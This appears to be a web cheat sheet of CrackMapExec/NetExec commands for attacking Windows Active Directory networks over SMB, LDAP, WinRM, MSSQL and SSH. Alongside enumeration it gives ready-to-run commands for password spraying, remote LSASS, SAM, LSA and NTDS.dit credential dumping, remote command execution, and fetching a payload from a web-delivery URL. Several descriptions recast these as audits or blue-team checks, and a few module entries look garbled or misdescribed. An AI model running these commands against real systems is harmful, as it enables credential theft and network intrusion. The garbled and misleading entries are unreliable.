Skip to content

CrackMapExec (enumeration)

65 commands

Using CrackMapExec/NetExec to enumerate SMB, LDAP, WinRM and MSSQL across a network: shares, users, sessions, policies and more.

  • Active Directory
  • SMB
  • LDAP

Install CrackMapExec (enumeration)

sudo apt install netexec

SMB Host Enumeration3

crackmapexec smb 192.168.1.0/24

Enumerates SMB enabled hosts, signing status, and OS versions across a subnet.

crackmapexec smb 10.10.10.10 --fqdn

Retrieves the Fully Qualified Domain Name of the remote host.

crackmapexec smb hosts.txt --gen-relay-list relay_targets.txt

Enumerates hosts without SMB signing enabled and saves them for relaying.

Null Session and Anonymous Enumeration2

crackmapexec smb 192.168.1.10 -u '' -p ''

Attempts to authenticate using a null session to validate anonymous access.

crackmapexec smb 192.168.1.10 -u 'guest' -p ''

Checks if the Guest account is active and accessible without a password.

SMB Share Enumeration6

crackmapexec smb 192.168.1.10 -u '' -p '' --shares

Lists available SMB shares using a null session.

crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --shares

Lists all shares the specified user has access to with read/write permissions.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M spider_plus

Advanced module to map and index all readable files on accessible shares.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname

Recursively lists files in a specific share to find interesting data.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname --content

Spiders a share and attempts to read file content for sensitive data.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --spider SHAREname --regex 'pass'

Spiders a share searching for files matching a specific regex pattern.

Link

SMB User and Group Enumeration5

crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --users

Enumerates domain users via SMB query.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --groups

Enumerates domain groups via SMB query.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --local-groups

Enumerates local groups on the target machine.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-brute

Brute forces RIDs to enumerate users and groups even if standard listing fails.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-brute 10000

Performs an extended RID brute force up to 10000 to find hidden accounts.

Link

SMB Session and Logged On User Discovery2

crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --sessions

Enumerates active SMB sessions on the target server.

Link
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --loggedon-users

Queries hosts to see which users are currently logged on interactively.

Link

SMB Password Policy Enumeration1

crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --pass-pol

Retrieves the domain password policy including complexity and lockout thresholds.

Link

Credential Validation and Authentication Checks3

crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt

Sprays a list of credentials across the network to validate access.

Link
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --local-auth

Validates credentials against the local SAM database instead of the domain.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --continue-on-success

Continues testing other credentials even after a successful login is found.

Link

SMB Local Admin Discovery1

crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123'

Identifies hosts where the provided user has Administrative (Pwn3d!) privileges.

Link

Module Based Enumeration13

crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M enum_av

Uses WMI to enumerate installed antivirus software on the target.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M iov_list

Enumerates disconnected user sessions which can be hijackable.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M wmi_query -o QUERY='Select * from Win32_OperatingSystem'

Executes a custom WMI query to retrieve specific system information.

Link
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M zerologon

Checks domain controllers for the Zerologon vulnerability (CVE-2020-1472).

Link
crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M petitpotam

Checks if the target is vulnerable to PetitPotam coercion.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M no pac

Checks for the No-PAC (Sam the Admin) vulnerability.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M maq

Enumerates the MachineAccountQuota for the domain.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M adcs

Enumerates Active Directory Certificate Services templates and servers.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M web_delivery -o URL=http://192.168.1.5/payload

Simulates a web delivery payload execution for audit purposes.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M lsassy

Advanced module to attempt remote LSASS dumping for credential validation.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M nanodump

Uses NanoDump to attempt a stealthy LSASS dump for evasion testing.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M procdump

Uses Sysinternals Procdump to dump LSASS for blue team signature validation.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M bh_collector

Runs the BloodHound ingestor module to map domain relationships.

Link

LDAP Domain Enumeration8

crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123'

Validates domain credentials against the LDAP service.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --admins

Enumerates members of the Domain Admins group via LDAP.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --asreproast

Identifies users without Kerberos pre-authentication enabled (ASREPRoasting candidates).

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --kerberoasting

Enumerates users with Service Principal Names (SPNs) set (Kerberoasting candidates).

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --trusted-for-delegation

Finds computer and user objects trusted for unconstrained delegation.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --password-not-required

Enumerates accounts that do not require a password to login.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M get_desc

Extracts and displays the description fields for all domain users.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M whoami

Enumerates privileges and group memberships of the current credential context.

Link

LDAP User Enumeration3

crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --users

Queries LDAP to retrieve a list of all domain users and their descriptions.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --active-users

Filters the user list to show only active (enabled) accounts.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --users --keyword 'pass'

Searches user descriptions in LDAP for specific keywords like 'pass' or 'secret'.

Link

LDAP Group and OU Enumeration2

crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groups

Retrieves all groups within the Active Directory domain.

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groups --keyword 'admin'

Filters domain groups to find high-value targets containing 'admin'.

Link

LDAP GPO and Policy Enumeration1

crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M gpp_password

Scans Group Policy Preferences for legacy cPassword attributes.

Link

WinRM Host Enumeration2

crackmapexec winrm 192.168.1.0/24 -u 'user' -p 'Pass123'

Enumerates hosts with WinRM service enabled and validates credentials.

Link
crackmapexec winrm 192.168.1.10 -u 'user' -p 'Pass123' -x 'whoami'

Executes a basic command to verify functional remote code execution privileges.

Link

MSSQL Server Enumeration1

crackmapexec mssql 192.168.1.0/24 -u 'user' -p 'Pass123'

Discovers MSSQL instances and validates SQL login credentials.

Link

MSSQL Database and Role Enumeration4

crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --dbs

Enumerates available databases on the target SQL server.

Link
crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --tables

Enumerates all tables within the accessible databases.

Link
crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' -M mssql_priv

Module to identify current user privileges on the MSSQL server.

Link
crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --no-fqdn-resolve

Performs enumeration while preventing DNS resolution to maintain stealth.

Link

SSH Service Enumeration2

crackmapexec ssh 192.168.1.0/24 -u 'user' -p 'Pass123'

Enumerates hosts with SSH enabled and checks credential validity.

Link
crackmapexec ssh 192.168.1.0/24 -u 'user' --key-file id_rsa

Validates SSH authentication using a private key file instead of a password.

Link

Advanced and Combined Real World Enumeration1

crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --users --groups --sessions

Combines multiple SMB enumeration flags for a comprehensive host snapshot.

Link

Output Formatting and Logging1

crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --export results.csv

Exports enumeration results to a CSV file for analysis and reporting.

Link

Automation and Pipeline Usage1

crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --verbose

Enables verbose output to capture detailed debugging information during enumeration.

Link

Blue Team Exposure and Hardening Validation3

crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --lsa

Attempts to dump LSA secrets to validate if credentials can be extracted remotely.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --sam

Attempts to dump the SAM database to check for local credential exposure.

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --ntds

Attempts to dump the NTDS.dit file via DRSUAPI to validate DC security.

Link